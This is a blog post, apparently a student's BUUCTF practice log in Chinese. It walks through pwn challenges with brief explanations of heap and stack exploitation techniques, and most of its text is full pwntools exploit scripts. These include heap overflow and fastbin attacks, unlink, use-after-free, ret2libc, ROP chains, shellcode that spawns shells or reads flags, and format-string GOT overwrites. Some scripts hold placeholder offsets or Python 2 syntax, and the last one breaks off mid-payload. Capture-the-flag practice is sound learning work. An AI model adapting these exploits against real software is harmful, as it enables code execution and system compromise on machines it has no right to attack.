pwn | buuctf刷题记录(二)

发布时间 2023-07-13 13:19:32作者: z5onk0

babyheap_0ctf_2017

堆溢出,extend overlap,unsortedbin leak,fastbin attack

edit选项可以随意溢出堆块,通过扩展堆块造成重叠,把后面一个bins的fd给打出来,从而泄露libc,通过fastbin attack将malloc_hook改为one_gadget

  • extend overlap

1.首先申请四个堆块,note0用于溢出修改note1的size,note2用于置入unsorted bin,note3用于防止note2释放后合并入topchunk

add(0x10) #note0
add(0x80) #note1
add(0x80) #note2
add(0x20) #note3

2.修改note1的size为0xc1

content = b"b"*0x20 + p64(0) + p64(0x61)
edit(2, 0x30, content)

content = b"a"*0x18 + p64(0xc1)
edit(0, 0x20, content)

delete(1)

为了在free时通过下面的检测,这里还在note2里伪造了note1_extend的下一个堆块

image-20230705170011528

3.将note1_extend重新申请回来,完成扩展,同note2重叠,由于调用的calloc,note1_extend内部被初始化了0,需要重新写入note2的header,注意重新申请回来的note1_extend编号仍然为1

add(0xb0)
content = b"c"*0x78 + b"d"*8 + p64(0) + p64(0x91)
edit(1, 0x90, content)
  • unsortedbin leak

1.释放note2到unsortedbins,通过show note1_extend,将note2的fd指针打出来

delete(2)
show(1)

2.完成一些地址的计算

p.recvuntil("d"*8)
p.recv(16)
bins_addr = hex(u64(p.recv(8)))

main_arena_addr = int(bins_addr, 16) - 0x58
main_arena_offset = 0x7f7287a48b20-0x00007f7287684000
libc_base = main_arena_addr - main_arena_offset
print("libc_base ==> " + hex(libc_base))
one_gadget = libc_base + 0x4526a
print("one_gadget ==> " + hex(one_gadget))

fd_addr = main_arena_addr - 0x33
malloc_hook_offset = (main_arena_addr - 0x10) - (fd_addr + 0x10)

关于main_arena_offset的计算:

image-20230705211719587

关于fd_addr即fastbin attack的目标地址的计算:

在malloc_hook的上方一点位置,找到一个可以伪造size为0x7f即0x80的fastbin

image-20230705215528188

  • fastbin attack

1.重新申请两个堆块,注意note2是切割了unsorted bin的一块内存,note4是切割的topchunk,其和note3是物理相邻的,释放note4到fastbin,通过note3溢出修改note4的fd指针,指向伪造堆块

add(0x20) #note2
add(0x60) #note4
delete(4)

content = b"e"*0x20 + p64(0x30) + p64(0x71) + p64(fd_addr)
edit(3, 0x38, content)

2.申请两次内存,将fakechunk分配下来,往指定偏移处写入one_gadget

add(0x60) #note4
add(0x60) #note5
content = (b"\x00" * malloc_hook_offset + p64(one_gadget)).ljust(0x20, b'\x00')
edit(5, 0x20, content)

3.再次malloc,触发malloc_hook,调用one_gadget

add(0x10)
  • 完整EXP
from pwn import *
context.arch = 'amd64'

#p = process("./babyheap_bck")
p = remote("node4.buuoj.cn", 28723)

def add(size):
    p.recvuntil("Command: ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))

def delete(index):
    p.recvuntil("Command: ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(index))

def edit(index, size, content):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(index))
    p.recvuntil("Size: ")
    p.sendline(str(size))
    p.recvuntil("Content: ")
    p.sendline(content)

def show(index):
    p.recvuntil("Command: ")
    p.sendline("4")
    p.recvuntil("Index: ")
    p.sendline(str(index))

add(0x10)
add(0x80)
add(0x80)
add(0x20)

content = b"b"*0x20 + p64(0) + p64(0x61)
edit(2, 0x30, content)

content = b"a"*0x18 + p64(0xc1)
edit(0, 0x20, content)

delete(1)

add(0xb0)

content = b"c"*0x78 + b"d"*8 + p64(0) + p64(0x91)
edit(1, 0x90, content)

delete(2)

show(1)

p.recvuntil("d"*8)
p.recv(16)
bins_addr = hex(u64(p.recv(8)))

main_arena_addr = int(bins_addr, 16) - 0x58
main_arena_offset = 0x7f7287a48b20-0x00007f7287684000
libc_base = main_arena_addr - main_arena_offset
print("libc_base ==> " + hex(libc_base))
one_gadget = libc_base + 0x4526a
print("one_gadget ==> " + hex(one_gadget))

fd_addr = main_arena_addr - 0x33
malloc_hook_offset = (main_arena_addr - 0x10) - (fd_addr + 0x10)

add(0x20)
add(0x60)
delete(4)

content = b"e"*0x20 + p64(0x30) + p64(0x71) + p64(fd_addr)
edit(3, 0x38, content)

add(0x60)
add(0x60)

content = (b"\x00" * malloc_hook_offset + p64(one_gadget)).ljust(0x20, b'\x00')
edit(5, 0x20, content)

add(0x10)

p.interactive()

ez_pz_hackover_2016

memcpy栈溢出,ret2shellcode

程序没开nx,并且给了buf变量的地址,直接ret2shellcode

from pwn import *

r=remote('node4.buuoj.cn',28158)
#p=process('./ez_pz_hackover_2016')
context.log_level='debug'

r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode

payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)

r.interactive()

wustctf2020_getshell

read栈溢出,ret2text

from pwn import*

r=remote('node4.buuoj.cn',26592)

shell_addr=0x804851B

payload=b'a'*(0x18+4)+p32(shell_addr)

r.sendline(payload)

r.interactive()

jarvisoj_level3_x64

read栈溢出,ret2libc

write泄露libc,getshell

rdx已被置200

image-20230706161343171

from pwn import *

r=remote('node3.buuoj.cn',29886)
context(os = "linux", arch = "amd64", log_level= "debug")

elf=ELF('./level3_x64')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x40061A

rdi=0x4006b3
rsi_r15=0x4006b1

payload='a'*(0x80+8)+p64(rdi)+p64(1)
payload+=p64(rsi_r15)+p64(write_got)+p64(8)
payload+=p64(write_plt)
payload+=p64(main)

r.sendlineafter('Input:',payload)

write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(write_addr)

libc_base=write_addr-0
system_addr=libc_base+0
binsh=libc_base+0

payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)
r.sendlineafter('Input:',payload)

r.interactive()

bjdctf_2020_babyrop2

read栈溢出,printf格式化字符串可控,泄露canary,ret2libc

利用printf("%7$p"),泄露canary,偏移7=5个寄存器+2个栈上偏移

image-20230706204556038

剩下的就是puts泄露got,ret2libc

from pwn import *

#r = remote("node4.buuoj.cn",27174)
r = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']
rdi_addr = 0x400993

payload = "%7$p"
r.sendlineafter("u!\n",payload)
r.recvuntil("0x")
canary = int(r.recv(16),16)
payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendlineafter("story!\n",payload)
put_addr = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(put_addr))

base_addr = put_addr - 0
system_addr = base_addr + 0
bin_sh_addr = base_addr + 0

payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendlineafter("story!\n",payload)

r.interactive()

pwnable_orw

seccomp,shellcode

程序用prctl设置了保护沙箱,用seccomp-tools查看允许的系统调用

image-20230707154207903

system没了,还有orw,直接打出flag,写shellcode

1.自己写汇编

from pwn  import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',29475)
shellcode=""
# sys_open(file,0,0)
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
# sys_read(3,file,0x30)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
# sys_write(1,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;mov edx,0x30;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag

2.用shellcraft生成

from pwn import *
r = remote('node4.buuoj.cn',26411)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode) 
r.interactive()

jarvisoj_level4

read栈溢出,write泄露地址,ret2libc

from os import sendfile
from pwn import *

#start
r = remote("node4.buuoj.cn",26914)
# r = process("./jarvisoj_level4")
elf = ELF("./jarvisoj_level4")
libc = ELF("./libc.so")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got) +p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))

#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))

#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

bjdctf_2020_router

linux命令连接符

image-20230708100217731

image-20230708100119554

mrctf2020_shellcode

直接输入shellcode

from pwn import *

p=remote("node4.buuoj.cn",25476)
#context.arch='amd64'
context(arch = 'amd64', os = 'linux', log_level = 'debug')

elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

EasyHeap

堆溢出,unlink,篡改free got

edit时堆块任意溢出,有个这玩意

image-20230708160908083

用unsortedbin attack把bss段上的一个值改的很大,就可以调用这个l33t

from pwn import *

p = process("./easyheap")

def add(size, content):
    p.recvuntil("Your choice :")
    p.sendline("1")
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recvuntil("Content of heap:")
    p.sendline(content)
   
def edit(index, size, content):
	p.recvuntil("Your choice :")
	p.sendline("2")
	p.recvuntil("Index :")
	p.sendline(str(index))
	p.recvuntil("Size of Heap : ")
	p.sendline(str(size))
	p.recvuntil("Content of heap : ")
	p.sendline(content)
	
def delete(index):
	p.recvuntil("Your choice :")
	p.sendline("3")
	p.recvuntil("Index :")
	p.sendline(str(index))
	
add(0x10, b"a"*0x10)
add(0x80, b"b"*0x80)
add(0x10, b"a"*0x10)
add(0x80, b"b"*0x80)
add(0x10, b"a"*0x10)
delete(3)
delete(1)
content = b"c"*0x10 + p64(0x20) + p64(0x91) + p64(0) + p64(0x6020B0)
edit(2, 0x30, content)
add(0x80, b"b"*0x80)

p.recvuntil("Your choice :")
p.sendline("4869")

结果虚晃一枪

image-20230708161028556

l33t不能直接使用,应该是只用来提供system地址,还差一个"/bin/sh",考虑直接输入,故尝试一下篡改free或者atoi的got

有堆表,那就考虑一下用unlink来任意地址写,有几点要注意:

  • 不能直接释放相邻堆块,不然指针会被清空,需要伪造一个被释放的fakechunk
  • heaparray要指向堆块头部,而正常create的堆表是指向数据区的,故需要将fakechunk往下移0x10,使得heaparray指向其头部
  • fakechunk的size缩小0x10,fakechunk的上一堆块的size扩大0x10
  • 注意控制相邻堆块的size和presize
from pwn import *

#p = process("./easyheap")
p = remote("node4.buuoj.cn", 26236)

def add(size, content):
    p.recvuntil("Your choice :")
    p.sendline("1")
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recvuntil("Content of heap:")
    p.sendline(content)
   
def edit(index, size, content):
    p.recvuntil("Your choice :")
    p.sendline("2")
    p.recvuntil("Index :")
    p.sendline(str(index))
    p.recvuntil("Size of Heap : ")
    p.sendline(str(size))
    p.recvuntil("Content of heap : ")
    p.sendline(content)

def delete(index):
    p.recvuntil("Your choice :")
    p.sendline("3")
    p.recvuntil("Index :")
    p.sendline(str(index))

add(0x10, b"a"*0x10)
add(0x80, b"a"*0x80)
add(0x90, b"b"*0x90)
add(0x10, b"c"*0x80)

content = b"a"*0x18 + p64(0xa1)
edit(0, 0x20, content)

ptr = 0x6020f0
content = b"d"*0x90 + p64(0x90) + p64(0x91) + p64(ptr-0x18) + p64(ptr-0x10) + b"e"*0x70 + p64(0x90) + p64(0x20)
edit(1, 0x130, content)
delete(1)

atoi_got = 0x602068
content = b"a"*0x18 + p64(atoi_got)
edit(2, 0x20, content)

system_plt = 0x400700
content = p64(system_plt)
edit(2, 0x8, content)

p.recvuntil("Your choice :")
p.send("/bin/sh\n")

p.interactive()

picoctf_2018_buffer overflow

gets栈溢出,ret2text

from pwn import *

# r = process("../buu/PicoCTF_2018_buffer_overflow_1")
r = remote("node4.buuoj.cn",25093)
win_addr = 0x80485CB

payload= b'M'*(0x28+4) + p32(win_addr)
r.recv()
r.sendline(payload)

r.interactive()

Black Watch 入群题

read栈溢出,栈劫持

image-20230710111725619

第一次read向bss段读入数据,第二次read可溢出栈上8字节

bss段没有执行权限,不能ret2shellcode

那就需要泄露libc,栈上布置rop链的字节不够,考虑将栈劫持到bss段

然后write泄露libc,getshell

from pwn import *
context.log_level = 'debug'
#sh = process('./spwn')
sh = remote('node4.buuoj.cn',29185)
elf = ELF('./spwn')
libc = ELF('./libc.so')

bss_addr = 0x0804a300 #也就是s的地址
leave_ret = 0x08048408 #gadget

write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
#第一轮执行leak出write地址来计算libc
payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
sh.sendafter("name?",payload)
payload = b'a'*0x18 + p32(bss_addr-0x4) + p32(leave_ret)
sh.sendafter("say?",payload)
#接收leak
libc_write = u32(sh.recv(4))
#计算基地址、system()地址、字符串/bin/sh地址
libc_base = libc_write - libc.symbols['write']
system_addr = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base
#第二轮执行栈溢出ret2libc
payload = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.sendafter("name?",payload)
payload = b'a'*0x18 + p32(bss_addr-0x4) + p32(leave_ret)
sh.sendafter("say?",payload)
sh.interactive()

hacknote

uaf,堆块复用,类型混淆,劫持函数指针

程序中的堆块分为数据区和堆元区,堆元区中保存函数指针

uaf漏洞可以让数据区复用堆元区的空间,改写函数指针

# -*- coding: utf-8 -*-
from pwn import *

r = remote("node4.buuoj.cn", 27369)

#r = process('./hacknote')

def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))

def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

addnote(0x10, b"a"*8)
addnote(0x10, b"a"*8)

delnote(0)
delnote(1)

magic_addr = 0x08048945
addnote(0x8, p32(magic_addr))

printnote(0)

r.interactive()

inndy_rop

gets栈溢出,静态链接,ret2syscall

静态链接,没有system,有int 0x80,考虑ret2syscall

两种方式获取“/bin/sh”:

  • 可以截取"sh"字符串地址

  • 通过下面的rop将字符串从栈上写到data段

    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    

由于是静态链接嘛,gadget是大大的有的,也可以用ropgadget直接生成一段很长的rop

ROPgadget --binary rop --ropchain
from pwn import*
from struct import pack

r=remote('node3.buuoj.cn',26917)

def payload():
    p='a'*(0xc+4)
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '/bin'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea064) # @ .data + 4
	p += pack('<I', 0x080b8016) # pop eax ; ret
	p += '//sh'
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
	p += pack('<I', 0x080481c9) # pop ebx ; ret
	p += pack('<I', 0x080ea060) # @ .data
	p += pack('<I', 0x080de769) # pop ecx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x0806ecda) # pop edx ; ret
	p += pack('<I', 0x080ea068) # @ .data + 8
	p += pack('<I', 0x080492d3) # xor eax, eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0807a66f) # inc eax ; ret
	p += pack('<I', 0x0806c943) # int 0x80
        return p

shell = payload()
r.sendline(shell)
r.interactive()

jarvisoj_test_your_memory

scanf栈溢出,ret2text

from pwn import *
 
r =remote('node4.buuoj.cn',29233)
 
system_plt = 0x8048440
cat_flag = 0x80487e0
 
payload = b'a' * (0x13+4) + p32(system_plt) + p32(0x8048677) + p32(cat_flag)
 
r.sendline(payload)
r.interactive()

cmcc_simplerop

read栈溢出,静态链接,ret2syscall

三种方法:

  • ROPgadget自动生成

    ROPgadget --binary simplerop --ropchain
    
    from pwn import *
    
    io = process("./simplerop")
    # remote环境可以在BUUCTF上找到
    # io = remote("node3.buuoj.cn", 27111)
    
    from struct import pack
    
    # Padding goes here
    p = cyclic(0x14+0x4+0x8)     # 动态调试得到,IDA显示的不对
    p += pack(b'<I', 0x0806e82a) # pop edx ; ret
    p += pack(b'<I', 0x080ea060) # @ .data
    p += pack(b'<I', 0x080bae06) # pop eax ; ret
    p += b'/bin'
    p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
    p += pack(b'<I', 0x0806e82a) # pop edx ; ret
    p += pack(b'<I', 0x080ea064) # @ .data + 4
    p += pack(b'<I', 0x080bae06) # pop eax ; ret
    p += b'//sh'
    p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
    p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx
    p += p32(0)+p32(0)+p32(0x080ea060)
    p += pack(b'<I', 0x080bae06) # pop eax ; ret
    p += p32(0xb)
    p += pack(b'<I', 0x080493e1) # int 0x80
    
    print(len(p))
    io.send(p)
    io.interactive()
    
  • 利用read函数将"/bin/sh\x00"地址读取到固定地址,方便给ebx传递参数

    from pwn import *
    
    io = process("./simplerop")
    
    read = 0x0806CD50
    pop_edx_ecx_ebx = 0x0806e850
    pop_eax = 0x080bae06
    int_0x80 = 0x080493e1
    sh = 0x080EC304
    
    pad = cyclic(0x14+0xc)
    # overwrite ret addr to read --> read(0, sh, 8)
    # overwrite read's ret addr to p32(pop_edx_ecx_ebx)
    pad += p32(read)+p32(pop_edx_ecx_ebx)
    # use p32(pop_edx_ecx_ebx) to clear stack data, 
    # then edx will be 0, ecx will be sh, ebx will be 8, and then ret
    pad += p32(0)+p32(sh)+p32(8)
    # use p32(pop_edx_ecx_ebx) to recv stack data,
    # then edx will be 0, ecx will be 0, ebx will be sh, and then ret
    pad += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh)
    # eax will be 0xb, then ret to syscall --> getshell
    pad += p32(pop_eax)+p32(0xb)+p32(int_0x80)
    
    print(len(pad))
    io.send(pad)
    io.send(b"/bin/sh\x00")
    io.interactive()
    
  • mprotect开辟出一个可写可执行的内存区域

    mprotect函数原型如下:int mprotect(const void *start, size_t len, int prot);,第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;第二参数也需要是内存页的整数倍;第三个是开辟的内存属性,7代表可读可写可执行。
    
    from pwn import *
    
    io = process("./simplerop")
    
    pro = ELF("./simplerop")
    mprotect = pro.symbols["mprotect"]
    print(" ===> ", hex(mprotect))
    read = pro.symbols["read"]
    print(" ===> ", hex(read))
    
    context(os="linux", arch="i386")
    code = asm(shellcraft.sh())
    
    code_addr = 0x80e9000
    pop_edx_ecx_ebx = 0x0806e850
    pad = cyclic(0x14+0xc)
    # overwrite ret addr to mprotect --> mprotect(code_addr, 0x1000, 7)
    # overwrite mprotect's ret addr to p32(pop_edx_ecx_ebx)
    pad += p32(mprotect)+p32(pop_edx_ecx_ebx)
    # use p32(pop_edx_ecx_ebx) to clear stack data, 
    # then edx will be code_addr, ecx will be 0x1000, ebx will be 7, and then ret
    pad += p32(code_addr)+p32(0x1000)+p32(7)
    # use read to recv code --> read(0, code_addr, len(code))
    # p32(pop_edx_ecx_ebx) in read ret addr, use it to clear stack data, and then ret
    pad += p32(read)+p32(pop_edx_ecx_ebx)
    pad += p32(0)+p32(code_addr)+p32(len(code))
    # ret to code_addr --> getshell
    pad += p32(code_addr)
    
    print(len(pad))
    io.send(pad)
    io.send(code)
    io.interactive()
    

picoctf_2018_buffer overflow_2

gets栈溢出,ret2text

from pwn import*
r=remote('node4.buuoj.cn',28040)

payload=b'a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)

r.sendline(payload)
r.interactive()

bbys_tu_2016

scanf栈溢出,ret2text

from pwn import *

r=remote('node4.buuoj.cn',29982)
flag_addr=0x804856D
payload='a'*(0x14+4)+p32(flag_addr)
r.sendline(payload)
r.interactive()

wustctf2020_getshell_2

read栈溢出,ret2text

只能溢出12个字节,需要布置system和其参数,system_plt需要压返回地址,call_system_addr不需要压返回地址,故使用后者

from pwn import *

#start
r = remote("node4.buuoj.cn",27929)
# r = process("../buu/wustctf2020_getshell_2")

#params
sh_addr = 0x08048670
system_addr = 0x08048529

#attack
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)
r.interactive()

xdctf2015_pwn200

read栈溢出,ret2libc

from pwn import *

#start 
r = remote("node4.buuoj.cn",25323)
# r = process("../buu/xdctf2015_pwn200")
elf = ELF("../buu/xdctf2015_pwn200")

#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

#attack
payload = b'M'*(0x6c+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.recv()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))

#libc
base_addr = write_addr - 0x000d43c0
system_addr = base_addr + 0x0003a940
bin_sh_addr = base_addr + 0x0015902b

#attack2
payload = b'M'*(0x6c+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.recv()
r.sendline(payload)

r.interactive()

mrctf2020_easyoverflow

from pwn import *

r=remote("node4.buuoj.cn",26290)
payload=b'a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()

ciscn_2019_s_4

read栈溢出,栈劫持,ret2text

两次read,还有printf,溢出字节不够,考虑栈劫持到buf

from pwn import *

p=remote('node4.buuoj.cn',29737)
#p=process('./ciscn_s_4')
context.log_level='debug'

sys_addr=0x8048400
leave=0x080484b8

payload=b'a'*0x24+b'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4, b'\x00'))
#gdb.attach(p)

print 'ebp='+hex(ebp) 

buf=ebp-0x38 


payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)

p.send(payload) 
#gdb.attach(p)

p.interactive()

[ZJCTF 2019]Login

通过溢出控制栈上的函数指针

c++写的程序

password_checker函数中,比较输入和密码,如果一致,就调用一个函数指针,那关键就是它了

image-20230711104322575

看看这个函数指针怎么来的,另外一个password_checker函数中,将某个function的地址保存到了栈上,在随后把这个栈地址传给了上面的校验函数

image-20230711104651608

函数地址是保存到栈上的,那在两个password_checker函数之间,有没有输入函数能覆盖到这个栈地址呢,找了一下,主函数里没有,唯一可能的只有read_password函数

image-20230711104838203

那调试看看呗,先看第一个password_checker函数返回的栈地址为0x7fffffffdce8,保存的函数指针为0x400ab4

image-20230711105019977

往下走,跟进readPassword函数,可以看到fgets从0x7fffffffdca0往下输入,一共输入0x4f个字节,0x7fffffffdca0+0x4f=0x0x7fffffffdcef,可以覆盖0x7fffffffdce8这个栈地址的6个字节,ok,对篡改函数地址后几位足够了

image-20230711105346766

通过system交叉引用找到个这玩意

image-20230711110108666

那么只要把0x400ab4改为0x400e88,需要3个字节,顺便计算一下偏移为0x7fffffffdce8-0x7fffffffdca0=0x48

用户名输入admin,密码前几位输入2jctf_pa5sw0rd

from pwn import *

# p = process("./login")
p = remote("node4.buuoj.cn", 25689)
p.recvuntil("username: ")
p.sendline("admin")

payload = b"2jctf_pa5sw0rd".ljust(0x48, b"\x00") + b"\x88\x0e\x40"
p.recvuntil("password: ")
gdb.attach(p)
pause()
p.sendline(payload)

p.interactive()

jarvisoj_level1

read栈溢出,ret2libc

from pwn import *

r = remote('node4.buuoj.cn',28283)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']

payload =b'a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4) 

r.send(payload)
write_addr = u32(r.recv(4))

print(hex(write_addr))

base_addr = write_addr - 0x000d43c0
system_addr = base_addr + 0x0003a940
bin_sh_addr = base_addr + 0x0015902b

payload =b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh_addr)

r.send(payload)
r.interactive()

wustctf2020_closed

image-20230711152902667

close(1)把程序的标准输出给关了,解决办法:

exec 1>&0 

把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出

hitcontraining_magicheap

和EasyHeap一样

axb_2019_fmt32

printf格式化字符串可控,任意地址读写

printf泄露libc,考虑printf和strlen两个函数可以传入"/bin/sh",可以改写它们的got

image-20230711212833158

  • 手动构造格式化字符串的payload,写got的时候用%kc%m$hn分两次写入
from pwn import *

puts_got = 0x804A01C
p = process("./fmt")
p.recvuntil("Please tell me:")
payload = b"A" + p32(puts_got) + b"BBBB" + b"%8$s"
p.sendline(payload)
p.recvuntil("BBBB")
puts_addr = u32(p.recv(4))
print("puts => " + hex(puts_addr))

libc_base = puts_addr - 0x0005f140
system_addr = libc_base + 0x0003a940
strlen_got = 0x804A024

high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
print('sys: '+hex(system_addr))
print('low: '+hex(low_sys))
print('high: '+hex(high_sys))

payload = b'A' + p32(strlen_got) + p32(strlen_got+2) + b'%' + str(low_sys-18).encode("utf-8") +b'c%8$hn' + b'%' + str(high_sys - low_sys).encode("utf-8") + b'c%9$hn'
# payload = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n' 
# 用%n写入不行,程序超时而且并没有写入,之后还是正常运行
p.sendafter("Please tell me:", payload) 

payload = ';/bin/sh\x00'
p.sendafter("Please tell me:", payload)

p.interactive()
  • 用fmtstr_payload自动构造格式化字符串payload
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
from pwn import *

context(os='linux',arch='i386',log_level='debug')

#r = process("./axb_2019_fmt32")
r = remote("node4.buuoj.cn","26466")
elf=ELF("./fmt")

printf_got = elf.got['printf']

payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr"+hex(printf_addr))

libc_base = puts_addr - 0x0005f140
system_addr = libc_base + 0x0003a940
print ("system_addr"+hex(system))

payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)

r.sendline(';/bin/sh\x00')
r.interactive()

others_babystack

read栈溢出,泄露canary,ret2libc

用"\n"覆盖canary低字节的"\x00",puts带出canary

然后puts泄露libc,getshell

from pwn import *

r=remote('node4.buuoj.cn',27069)
#r=process('./babystack')
elf=ELF('./babystack')
context.log_level='debug'

#泄露canary
r.sendlineafter(">>",'1')
payload=b'a'*(0x90-8)
r.sendline(payload)

r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,b'\x00'))
print (hex(canary))

pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908

#泄露puts函数的got表地址
payload=b'a'*(0x90-8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(">>",'1')
r.sendline(payload)
r.sendlineafter(">>",'3')

r.recv()

puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

#计算system函数和字符串‘/bin/sh’在程序里的实际地址
libc_base=puts_addr-0x6f690
system=libc_base+0x45390
binsh=libc_base+0x18cd57

#构造rop攻击获取shell
payload=b'a'*(0x90-8)+p64(canary)+p64(0)
